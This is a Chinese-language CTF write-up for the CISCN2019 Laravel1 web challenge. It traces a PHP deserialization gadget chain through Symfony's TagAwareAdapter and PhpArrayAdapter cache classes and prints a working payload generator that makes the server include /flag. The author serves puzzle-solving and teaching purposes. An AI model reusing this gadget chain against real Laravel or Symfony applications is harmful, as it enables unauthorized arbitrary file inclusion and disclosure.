0%

[CISCN2019 总决赛 Day1 Web4]Laravel1

[CISCN2019 总决赛 Day1 Web4]Laravel1

这叫一分题,这叫一分题,这叫一分题?
我做疯了,又是赵总经典反序列化超级挖掘

反序列化

源码意思就是反序列化一个GET的payload,这个框架大大大,namespace一大堆
搜一下__destruct,搜出来一万个,放弃挣扎,开始看wp

可以找到一个名叫TagAwareAdapter类的__destruct函数,里面有一系列调用

    public function invalidateTags(array $tags)
    {
        $ok = true;
        $tagsByKey = [];
        $invalidatedTags = [];
        foreach ($tags as $tag) {
            CacheItem::validateKey($tag);
            $invalidatedTags[$tag] = 0;
        }

        if ($this->deferred) {
            $items = $this->deferred;
            foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

            $f = $this->getTagsByKey;
            $tagsByKey = $f($items);
            $this->deferred = [];
        }

        $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
        $f = $this->createCacheItem;

        foreach ($tagsByKey as $key => $tags) {
            $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
        }
        $ok = $this->pool->commit() && $ok;

        if ($invalidatedTags) {
            $f = $this->invalidateTags;
            $ok = $f($this->tags, $invalidatedTags) && $ok;
        }

        return $ok;
    }
    public function commit()
    {
        return $this->invalidateTags([]);
    }

    public function __destruct()
    {
        $this->commit();
    }

一路调用到invalidateTags,这里面调用了一个pool对象的saveDeferred方法,看一下__construct

    public function __construct(AdapterInterface $itemsPool, AdapterInterface $tagsPool = null, float $knownTagVersionsTtl = 0.15)
    {
        $this->pool = $itemsPool;
        $this->tags = $tagsPool ?: $itemsPool;
        $this->knownTagVersionsTtl = $knownTagVersionsTtl;
        ........
    }

里面规定了pool需要是AdapterInterface这个接口的,所以得找个实现AdapterInterface这个接口的类的saveDeferred方法
(接口给我的直观感受类似于多继承)

找到类PhpArrayAdapter,其方法调用initialize,跟进,有一个include

    public function saveDeferred(CacheItemInterface $item)
    {
        if (null === $this->values) {
            $this->initialize();
        }

        return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
    }
    private function initialize()
    {
        if (!file_exists($this->file)) {
            $this->keys = $this->values = [];

            return;
        }
        $values = (include $this->file) ?: [[], []];

        if (2 !== \count($values) || !isset($values[0], $values[1])) {
            $this->keys = $this->values = [];
        } else {
            list($this->keys, $this->values) = $values;
        }
    }

那么只要把flag include进来就好了,initialize还需要一个CacheItemInterface接口的参数,但是在利用过程中用不上,随便找一个类,构造如下payload

<?php
namespace Symfony\Component\Cache{
    final class CacheItem{
    }
}

namespace Symfony\Component\Cache\Adapter{
    use Symfony\Component\Cache\CacheItem;
    class PhpArrayAdapter{
        private $file='/flag';
    }
    class TagAwareAdapter{
        private $deferred;
        private $pool;
        public function __construct(){
            $this->deferred = array('z33' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
    $a=new TagAwareAdapter();
    echo urlencode(serialize($a));
}
?>

use和python的import as有点像,就是把Symfony\Component\Cache\CacheItem这么大一串可以只用最后的CacheItem来表示

我猜这个一分题大家真正实打实审出来的不多,大部分都是直接payload一把梭的吧。。。